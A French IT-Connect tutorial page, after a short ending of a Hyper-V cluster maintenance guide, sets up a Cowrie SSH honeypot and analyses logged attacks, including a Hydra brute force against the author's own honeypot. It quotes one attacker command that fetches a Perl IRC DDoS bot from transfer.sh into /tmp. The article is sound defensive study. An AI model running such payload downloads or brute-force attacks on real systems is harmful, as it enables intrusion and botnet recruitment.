<p>Sur la partie droite de la console, vous devez voir vos différents nœuds. Pour mettre un nœud en mode maintenance, effectuez un clic droit sur son nom, et sous "<strong>Pause</strong>" cliquez sur "<strong>Drainer les rôles</strong>".</p>
<p><span style="color: #ff0000;"><strong>Attention</strong> </span>: cette action va <strong>automatiquement déclencher les migrations dynamiques</strong>, c'est-à-dire que la charge de cette hôte (VM) va être transférée vers les autres nœuds du cluster.</p>
<p><img class="aligncenter size-full wp-image-34175" src="media/eca87fc6.cluster-hyperv-maintenance-drainer-les-roles-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-02.png" alt="" width="603" height="285" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-02.png 603w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-02-550x260.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-02-150x71.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-02-160x76.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-02-50x24.png 50w" sizes="(max-width: 603px) 100vw, 603px" /></p>
<p>Si vous retournez dans la partie "<strong>Rôles</strong>" de la console, vous verrez d'ailleurs le message "<strong>Migration dynamique en cours</strong>" sur certains ordinateurs virtuels.</p>
<p><img class="aligncenter size-full wp-image-34176" src="media/fe83fb5e.cluster-hyperv-maintenance-drainer-les-roles-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-03.png" alt="" width="406" height="398" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-03.png 406w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-03-150x147.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-03-160x157.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-03-50x50.png 50w" sizes="(max-width: 406px) 100vw, 406px" /></p>
<p>Lorsqu'il n'y a plus d'opération en cours, vous pouvez intervenir sur le nœud en maintenance sans problème : le redémarrer ou autre, sans problème. Il est à noter que même après redémarrage, il restera toujours en mode maintenance.</p>
<p><strong>Le retour arrière, une fois que la maintenance est terminée, doit s'effectuer manuellement.</strong></p>
<p>Il suffit de retourner dans la partie "<strong>Nœuds</strong>" au sein de la console. Effectuez de nouveau un clic droit sur le nœud à remettre en production, puis, sous "<strong>Reprendre</strong>" cliquez sur "<strong>Restaurer les rôles</strong>". Le fait de restaurer les rôles va faire en sorte qu'il récupère ses VM. L'autre option le remet en service au niveau du cluster mais sans lui réaffecter ses ressources.</p>
<p><img class="aligncenter size-full wp-image-34177" src="media/dd69507e.cluster-hyperv-maintenance-drainer-les-roles-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-04.png" alt="" width="701" height="297" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-04.png 701w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-04-550x233.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-04-150x64.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-04-160x68.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-04-50x21.png 50w" sizes="(max-width: 701px) 100vw, 701px" /></p>
<p>💡 Si vous avez besoin de <a href="https://www.it-connect.fr/cluster-a-basculement-hyper-v-avec-windows-server-2016/">mettre en oeuvre un cluster Hyper-V</a>, suivez notre tutoriel à ce sujet. Pour la gestion des <a href="https://www.it-connect.fr/windows-server-2016-et-le-cluster-aware-updating/" target="_blank" rel="noopener noreferrer">mises à jour Windows sur un cluster Hyper-V</a>, nous avons également un article à ce sujet.</p>


feed_id: https://www.it-connect.fr/?p=33825
title: Mise en place et étude d’un Honey Pot SSH (Cowrie)
uri: Mise-en-place-et-étude-d-un-Honey-Pot-SSH-(Cowrie)
url: https://www.it-connect.fr/mise-en-place-et-etude-dun-honey-pot-ssh-cowrie/
content:
<h2>I. Présentation</h2>
<p>On se retrouve aujourd'hui pour un article qui va parler des <em>Honey pot</em> et notamment exposer leur utilisation dans un cas réel.</p>



<h2>II. Le <em>Honey Pot</em>, un outil de sécurité défensive</h2>



<p>Un <em>Honey pot</em> ou "Pot de miel" est un des éléments qui peut composer la structure défensive d'un système d'information, <strong>son rôle est d'attirer les attaquants</strong>, à l'image d'un pot de miel avec les abeilles.</p>



<blockquote class="wp-block-quote">Dans le jargon de la sécurité informatique, un <em>Honey pot</em> (en français, au sens propre « pot de miel », et au sens figuré « leurre ») est une méthode de défense active qui consiste à attirer, sur des ressources (serveur, programme, service), des adversaires déclarés ou potentiels afin de les identifier et éventuellement de les neutraliser. <cite>Source : https://fr.wikipedia.org/wiki/Honeypot </cite></blockquote>



<p>Le fonctionnement global d'un <em>Honey pot</em> est donc d’<strong>apparaître comme une machine faiblement protégée</strong> (vulnérable) sur le réseau afin qu'un attaquant puisse facilement la compromettre. Dès lors, une alerte peut être émise et des actions peuvent être effectuées par l'équipe de sécurité, par exemple :</p>



<ul>
<li>surveiller l'activité de l'attaquant ;</li>
<li>collecter des informations sur ses outils, sa provenance, son mode opératoire ;</li>
<li>analyser les informations collectées pour mieux se protéger, par exemple essayer de savoir ce que l'attaquant cherche sur le réseau (plutôt sabotage ? plutôt vol de données ?)</li>
</ul>



<p>L'idée est donc de <strong>ralentir l'attaquant</strong> en le faisant attaquer un système qui n'héberge aucune données sensibles, mais aussi d'<strong>améliorer la défense du système d'information</strong> en piégeant l'attaquant et en étudiant ses actions. On peut par exemple essayer de détecter de quelle IP publique il provient pour l'ajouter dans notre <em>blacklist</em> au niveau de nos pare-feu frontaux, ou encore regarder quelles sont les techniques qu'il utilise pour élever ses privilèges et ainsi affiner nos règles de détection (antivirus, service auditd, SIEM, SOC, etc.).</p>



<p>Dans cet article, nous allons procéder à l'installation d'un <em>Honey pot</em> qui sera directement exposé sur Internet et étudier les différentes attaques dont il fait l'objet. Ce sera l'occasion de voir en conditions réelles son usage. Dans la réalité, un <em>Honey pot</em> peut être aussi bien installé en frontal d'Internet qu'à l'intérieur d'un système d'information bureautique, une DMZ, etc. L'idée est bien sûr qu'il<strong> attire l'attention de l'attaquant le plus tôt possible</strong> afin que des alertes soient émises.</p>



<p>Gardez cependant à l'esprit que le <em>Honey pot</em> est par définition facile à compromettre, il convient donc de <strong>strictement cloisonner et surveiller son activité</strong>, l'idée est qu'il ne facilite pas la tâche d'un attaquant trop longtemps, sinon sa mise en place est contre-productive.</p>



<h2>III. Installation de Cowrie</h2>



<p>Nous allons utiliser Cowrie, un <em>Honey pot</em> qui héberge un service SSH vulnérable. J'ai simplement suivi ce tutoriel pour l'installation basique de Cowrie : <a href="https://medium.com/threatpunter/how-to-setup-cowrie-an-ssh-honeypot-535a68832e4c">https://medium.com/threatpunter/how-to-setup-cowrie-an-ssh-honeypot-535a68832e4c</a></p>



<p>Pour la démonstration dans le cadre de l'article, j'ai loué un serveur chez ScaleWay et l'ai installé sur un serveur Debian. Je n'ai ici aucun risque de propagation d'une compromission puisque mon <em>Honey pot</em> est installé sur un système d'information autre que le mien (entendre : il n'est pas hébergé chez moi). La seule possibilité de compromission pourrait donc se faire lorsque je me connecte sur le <em>Honey pot</em> pour consulter les journaux qu'il produit, dans un contexte réel, il faut garder cela en tête et <strong>éviter de faire un pont direct entre votre SI d'administration et votre </strong><em><strong>Honey pot</strong></em> largement compromis 🙂 . Bien sûr, cela impliquerait que l'attaquant ait réussi à s'extraire de l'émulation du <em>Honey pot</em> pour atterrir sur son système hôte (j'ignore si cela est possible).</p>



<p>Cowrie est un service HoneyPot de type <em>Medium interaction</em>, comprendre par là qu'il <strong>simule un service basique installé sur un système émulé basique lui aussi</strong>. L'idée est que l'attaquant parvienne à s’authentifier ou compromettre le service SSH et qu'il puisse effectuer quelques actions par la suite (tenter d'élever ses privilèges, etc.). Cowrie est donc un service qui va cloisonner l'attaquant afin que celui-ci puisse tenter quelques attaques, sans pour autant lui laisser trop de liberté.</p>



<p>Des services plus avancés existent, les <em>High interaction</em>, qui eux sont constitués de <strong>plusieurs services et serveurs vulnérables</strong> à la disposition des attaquants, <strong>ils sont en général beaucoup plus complexes et complets</strong>. L'idée ici est donc de renforcer le crédit du système <em>Honey Pot</em> aux yeux de l'attaquant pour qu'il s'expose le plus possible, qu'il divulgue un maximum ses techniques et qu'il soit le plus ralenti possible afin de laisser le temps aux équipes de sécurité de réagir, voire de contre-attaquer.</p>



<p>Enfin, les systèmes <em>Low interaction</em> présentent <strong>des services très faiblement utilisables</strong>, ils restent exploitables et ont pour but de collecter des informations sur l'attaquant en lui donnant le moins de liberté possible, un simple service <em>netcat </em>en écoute sur un port TCP/23 (telnet) peut être qualifié de <em>Honey Pot Low interaction</em>.</p>



<h2>IV. Étude des journaux Cowrie</h2>



<p>Une fois mon serveur installé, j'attends quelques instants que les premières attaques arrivent, et cela ne tarde pas. Mon service SSH est en effet en écoute sur le port TCP/22,<strong> des milliers de robots passent leur temps à scanner Internet à la recherche de services vulnérables</strong>. C'est notamment le cas récemment avec les services RDP suite à la publication d'exploits sur ce service (<a href="https://en.wikipedia.org/wiki/BlueKeep">BlueKeep - CVE-2019-0708</a>). Pour les accès SSH, ces mêmes robots essaient quelques mots de passe basiques et regardent, grâce au <em><a href="https://ogma-sec.fr/quest-ce-banner-grabbing/">banner grabbing</a> </em>, si certaines versions vulnérables des services SSH sont utilisées. Quelques minutes après son installation, les premiers <em>logs </em>arrivent :</p>



<figure class="wp-block-image alignfull">
<figure id="attachment_33926" aria-describedby="caption-attachment-33926" style="width: 800px" class="wp-caption aligncenter"><a href="media/a35e84cd.cowrie-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-03.png"><img class="size-large wp-image-33926" src="media/7fb6b61a.cowrie-03-800x313.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-03-800x313.png" alt="" width="800" height="313" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-03-800x313.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-03-550x215.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-03-150x59.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-03-768x301.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-03-160x63.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-03-50x20.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-03.png 897w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-33926" class="wp-caption-text">Journalisation des tentatives d'authentification sur le service SSH</figcaption></figure>
</figure>



<p>Nous voyons ici que beaucoup de mots de passe triviaux sont tentés par les robots. Ce type de couple login/mot de passe sort probablement tout droit de la première <em>wordlist </em>venue. Pensez donc à les ajouter dans vos listes HoneyWord (Voir cet article : <a href="https://ogma-sec.fr/les-mots-passe-honeywords-cest/" target="_blank" rel="noreferrer noopener" aria-label=" (s’ouvre dans un nouvel onglet)">Les mots de passe HoneyWords, c'est quoi ?</a>).</p>



<p>Le service SSH proposé par Cowrie est particulier, celui-ci<strong> journalise toutes les tentatives d'authentification</strong>, mais y intègre également le mot de passe saisi par l'attaquant (ce qui n'est pas le cas du service SSH standard bien entendu). Les plus attentifs remarqueront que plusieurs "<em>attempt succeeded</em>" apparaissent pour les tentatives de connexions avec l'utilisateur <em>root</em>. En effet, le service SSH Cowrie <strong>accepte plusieurs mots de passe valides pour un même compte</strong> (et faibles en plus ...). Encore une fois, l'idée est d'avoir un service faiblement protégé afin de piéger l'attaquant, peut importe donc quel mot de passe il utilise.</p>



<p>La majorité des journaux d’événements de Cowrie contiennent ce type d'informations. Lorsqu'une authentification réussit, la plupart du temps, le robot qui effectue cette authentification se déconnecte immédiatement.</p>



<figure class="wp-block-image alignfull">
<figure id="attachment_33927" aria-describedby="caption-attachment-33927" style="width: 800px" class="wp-caption aligncenter"><a href="media/c9833753.cowrie-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-04.png"><img class="size-large wp-image-33927" src="media/4031ea3f.cowrie-04-800x95.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-04-800x95.png" alt="" width="800" height="95" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-04-800x95.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-04-550x66.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-04-150x18.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-04-768x92.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-04-160x19.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-04-50x6.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-04.png 839w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-33927" class="wp-caption-text">Déconnexion immédiate après une authentification réussie</figcaption></figure>
</figure>



<p>Je pense qu'il s'agit du comportement standard d'un robot, <strong>qui n'effectue que du référencement</strong>. Lorsqu'il parvient à s'authentifier avec un couple login/mot de passe, il stocke cette information <strong>pour que son propriétaire effectue plus tard une connexion et une recherche plus avancée</strong>.</p>



<p>Certains robots effectuent cependant des<strong> premières actions de découverte</strong>, notamment avec la commande <em>uname</em> qui permet de récupérer la version du système d'exploitation et du <em>kernel</em> en cours d'utilisation :</p>



<figure class="wp-block-image">
<figure id="attachment_33928" aria-describedby="caption-attachment-33928" style="width: 800px" class="wp-caption aligncenter"><a href="media/16446f22.cowrie-06.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-06.png"><img class="size-large wp-image-33928" src="media/040f5b79.cowrie-06-800x111.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-06-800x111.png" alt="" width="800" height="111" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-06-800x112.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-06-550x76.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-06-150x21.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-06-768x107.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-06-160x22.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-06-50x7.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-06.png 807w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-33928" class="wp-caption-text">Déconnexion immédiate après une authentification réussie</figcaption></figure>
</figure>



<p>Ces premières actions servent, je pense, à savoir rapidement <strong>si le serveur visé est vulnérable à des exploits d'élévation de privilèges</strong> ou s'il est à jour (<em>uptime</em>) par exemple. Un serveur ayant une dernière version de Debian avec une <em>uptime</em> de 10 minutes est certainement moins intéressant qu'un serveur avec une version obsolète et une <em>uptime</em> de 3 ans et demi.</p>



<p>Enfin, Cowrie peut s'interfacer avec des SGBD, et des solutions d'analyses de logs telles que Splunk ou ELK. Le but est d'obtenir, par exemple, <strong>des statistiques sur le nombre d'attaques par jour ou par mois et potentiellement de mettre en avant des piques d'activité</strong>. N'ayant pas ce type de système sous la main, je n'ai pas pu tester ce point.</p>



<p>Pour information, au bout de 2 jours d'activité de mon <em>Honey pot</em> SSH, <strong>je constate 14201 tentatives de connexion dont 13405 fructueuses </strong>(forcément, quand on accepte tous les mots de passe ... :p ). Cela vous donne une idée de l'activité tout de même intense des robots de brute force de service SSH :</p>



<pre class="wp-block-preformatted">root@scw-competent-greider:/home/cowrie/cowrie/var/log/cowrie# cat cowrie.log |grep "login attempt" |wc -l
14201
root@scw-competent-greider:/home/cowrie/cowrie/var/log/cowrie# cat cowrie.log |grep "succeed" |wc -l
13405</pre>



<h2>V. Démarche de l'attaquant, comment repérer un HoneyPot SSH ?</h2>



<p>Nous allons maintenant nous mettre dans la peau de l'attaquant qui trouve, par chance ou à force de patience, un service SSH faiblement protégé. <strong>Comment détecter que nous sommes sur un système </strong><em><strong>Honey pot</strong></em><strong> ?</strong></p>



<p>Je commence donc, en suivant une démarche classique, par effectuer un scan réseau sur ma cible :</p>



<figure class="wp-block-image">
<figure id="attachment_33937" aria-describedby="caption-attachment-33937" style="width: 800px" class="wp-caption aligncenter"><a href="media/2a2769f0.cowrie-21.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-21.png"><img class="size-large wp-image-33937" src="media/0d1ac95f.cowrie-21-800x218.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-21-800x218.png" alt="" width="800" height="218" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-21-800x218.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-21-550x150.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-21-150x41.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-21-768x209.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-21-160x44.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-21-50x14.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-21.png 864w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-33937" class="wp-caption-text">Scan nmap sur la cible</figcaption></figure>
</figure>



<p class="has-regular-font-size">Deux services SSH et rien d'autres ? Voilà qui est étrange. Dans un cas réel, il conviendrait d'avoir un serveur qui paraisse un peu plus légitime (avec des services métier) et d'éviter d'exposer publiquement le service SSH légitime (ici sur le port TCP/2022), qui sert, lui, à l'accès d'administration du véritable hôte.</p>



<p>Je remarque que le service SSH est ouvert sur internet, sur son port par défaut, et que celui-ci accepte l'authentification par mot de passe, ce qui constitue déjà un bon enchainement de mauvaises pratiques. <strong>La version d'OpenSSH affichée ne trahit pas la présence d'un <em>Honey pot</em></strong>. J'entame donc une attaque par brute force pour le compte "root" :</p>



<p><script width="100%" id="asciicast-HR4xDJqBlPIZv17c9Yvi9ihXh" src="https://asciinema.org/a/HR4xDJqBlPIZv17c9Yvi9ihXh.js" async=""></script></p>



<p>J'utilise ici l'outil Hydra pour effectuer une attaque par brute force sur le mot de passe de l'utilisateur "root". Hydra arrête son exécution dès qu'il trouve une combinaison correcte (au premier essai). Mais lorsque je passe à 4 threads, Hydra envoie 4 tentatives d'authentification en même temps et trouve alors 4 combinaisons correctes, ce qui est anormal. <strong>Ce comportement peut donc trahir l'existence d'un </strong><em><strong>Honey pot</strong></em> qui accepterait tous les mots de passe proposés. Cependant, il est rare de configurer les outils d'attaques pour qu'ils ne s'arrêtent pas dès le premier essai fructueux. Après m'être authentifié, je tombe sur un système Linux plutôt standard, mais qui est en fait émulé :</p>



<p><script width="100%" id="asciicast-c4zUktMQj99DjzqXFzfimjK8p" src="https://asciinema.org/a/c4zUktMQj99DjzqXFzfimjK8p.js" async=""></script></p>



<p>Sur ces premières commandes, rien ne permet de soupçonner un <em><strong>Honey pot</strong></em>, le système parait bien entendu totalement vide (de service, de fichier prouvant une activité particulière), mais la structure de l'OS Linux et les commandes qui vont avec sont bien présentes. Je peux même initier des connexions vers l'extérieur et créer des fichiers sur le système :</p>



<figure class="wp-block-image">
<figure id="attachment_33936" aria-describedby="caption-attachment-33936" style="width: 626px" class="wp-caption aligncenter"><a href="media/6c1e156d.cowrie-20.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-20.png"><img class="size-full wp-image-33936" src="media/6c1e156d.cowrie-20.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-20.png" alt="" width="626" height="409" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-20.png 626w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-20-550x359.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-20-150x98.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-20-160x105.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-20-50x33.png 50w" sizes="(max-width: 626px) 100vw, 626px" /></a><figcaption id="caption-attachment-33936" class="wp-caption-text">Démonstration de la suppression des fichiers après déconnexion</figcaption></figure>
</figure>



<p>Ceux-ci sont néanmoins supprimés dès ma déconnexion. <strong>Il existe probablement plusieurs moyens de savoir que l'on est dans un environnement émulé</strong>. Le constat de suppression d'un fichier après déconnexion et la possibilité de se loguer avec plusieurs mots de passe paraissent être des choses simples, mais ce ne sont pas les premières opérations que l'on pense à mener lorsque l'on compromet un système.</p>



<h2>VI. Capture et étude d'un programme malveillant</h2>



<p>Après plusieurs heures d'attente, je détecte plusieurs commandes de téléchargement et d'exécution d'un programme <em>perl </em>dans les logs produits par Cowrie :</p>



<figure class="wp-block-image alignfull">
<figure id="attachment_33929" aria-describedby="caption-attachment-33929" style="width: 800px" class="wp-caption aligncenter"><a href="media/bbeae017.cowrie-10.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-10.png"><img class="size-large wp-image-33929" src="media/bcdeede6.cowrie-10-800x291.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-10-800x291.png" alt="" width="800" height="291" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-10-800x291.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-10-550x200.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-10-150x55.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-10-768x280.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-10-160x58.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-10-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-10.png 805w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-33929" class="wp-caption-text">Commandes de téléchargement et d'exécution d'un fichier</figcaption></figure>
</figure>



<p>Le fait que la même commande soit présente plusieurs dizaines de fois indique qu'il ne s'agit pas de l'action d'un humain, mais plutôt d'un robot. Celui-ci ne s'est toutefois pas contenté d'une authentification réussie, <strong>il a tenté de télécharger et d'exécuter un programme </strong><em>perl</em> avec la commande suivante :</p>



<pre class="wp-block-preformatted">uname -a; cd /tmp; wget https://transfer.sh/ejjab/real.txt</pre>



<p>Ses actions ayant été journalisées, <strong>je peux facilement récupérer ce programme et connaitre les moyens utilisés par l'attaquant</strong> (ici le site<em> transfert.sh </em>par exemple). Je récupère au passage le contenu du script :</p>



<figure class="wp-block-image"><a href="media/efd67e5f.cowrie-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-11.png"><img class="aligncenter size-large wp-image-33930" src="media/f57b62c1.cowrie-11-800x608.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-11-800x608.png" alt="" width="800" height="608" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-11-800x608.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-11-550x418.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-11-150x114.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-11-768x584.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-11-160x122.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-11-50x38.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cowrie-11.png 842w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Son titre est "DDoS Perl IrcBot", il s'agit visiblement d'un script trouvé sur internet. On peut trouver un code équivalent ici par exemple : <a href="https://gist.github.com/tlongren/afe81698cafaafcbe386" target="_blank" rel="noreferrer noopener" aria-label="dépôt Github (s’ouvre dans un nouvel onglet)">dépôt Github</a></p>



<p>Il s'agit donc vraisemblablement d'un <strong>script qui permet la constitution d'un botnet dirigé par un canal IRC </strong>en vue de déclencher des attaques par déni de service. En toute logique, le script génère une connexion vers un canal IRC qui est ensuite utilisé pour suivre des ordres donnés par le propriétaire du botnet. On peut voir que lors de sa connexion, le script s'assigne aléatoirement un pseudo : <a href="media/36938b9a.Capture-du2019cran-de-2019-07-18-12-35-08.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-35-08.png"><img class="aligncenter size-full wp-image-33923" src="media/36938b9a.Capture-du2019cran-de-2019-07-18-12-35-08.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-35-08.png" alt="" width="783" height="78" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-35-08.png 783w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-35-08-550x55.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-35-08-150x15.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-35-08-768x77.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-35-08-160x16.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-35-08-50x5.png 50w" sizes="(max-width: 783px) 100vw, 783px" /></a></p>





<pre class="wp-block-preformatted">my $ircname = $rircname[rand scalar @rircname];</pre>



<p>On identifie rapidement le serveur sur lequel se connectent les membres de ce botnet :</p>



<div class="wp-block-image">
<figure class="aligncenter"><a href="media/9278ce5a.Capture-du2019cran-de-2019-07-18-12-37-20.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-37-20.png"><img class="aligncenter size-full wp-image-33924" src="media/9278ce5a.Capture-du2019cran-de-2019-07-18-12-37-20.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-37-20.png" alt="" width="455" height="360" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-37-20.png 455w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-37-20-150x119.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-37-20-160x127.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-37-20-50x40.png 50w" sizes="(max-width: 455px) 100vw, 455px" /></a></figure>
</div>



<p>L'analyse du code source permet également d'en savoir plus sur les actions possibles du botnet :</p>



<figure class="wp-block-image alignfull"><a href="media/5d27d9f9.Capture-du2019cran-de-2019-07-18-12-39-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-39-03.png"><img class="aligncenter size-large wp-image-33925" src="media/d38db58b.Capture-du2019cran-de-2019-07-18-12-39-03-800x336.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-39-03-800x336.png" alt="" width="800" height="336" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-39-03-800x336.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-39-03-550x231.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-39-03-150x63.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-39-03-768x322.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-39-03-160x67.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-39-03-50x21.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Capture-du2019écran-de-2019-07-18-12-39-03.png 1115w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>On voit ici par exemple qu'il peut être utilisé pour faire du scan de port, des attaques DoS (<em>Denial of Service</em>) sur de l'UDP ou du TCP, de l'envoi de mail, du téléchargement de fichier, etc.</p>



<p>Je parviens au bout de plusieurs essais à me connecter au serveur du botnet, qui est assez désert. Les deux <em>channels </em>proposés ne possèdent pas plus de 20 utilisateurs connectés :</p>



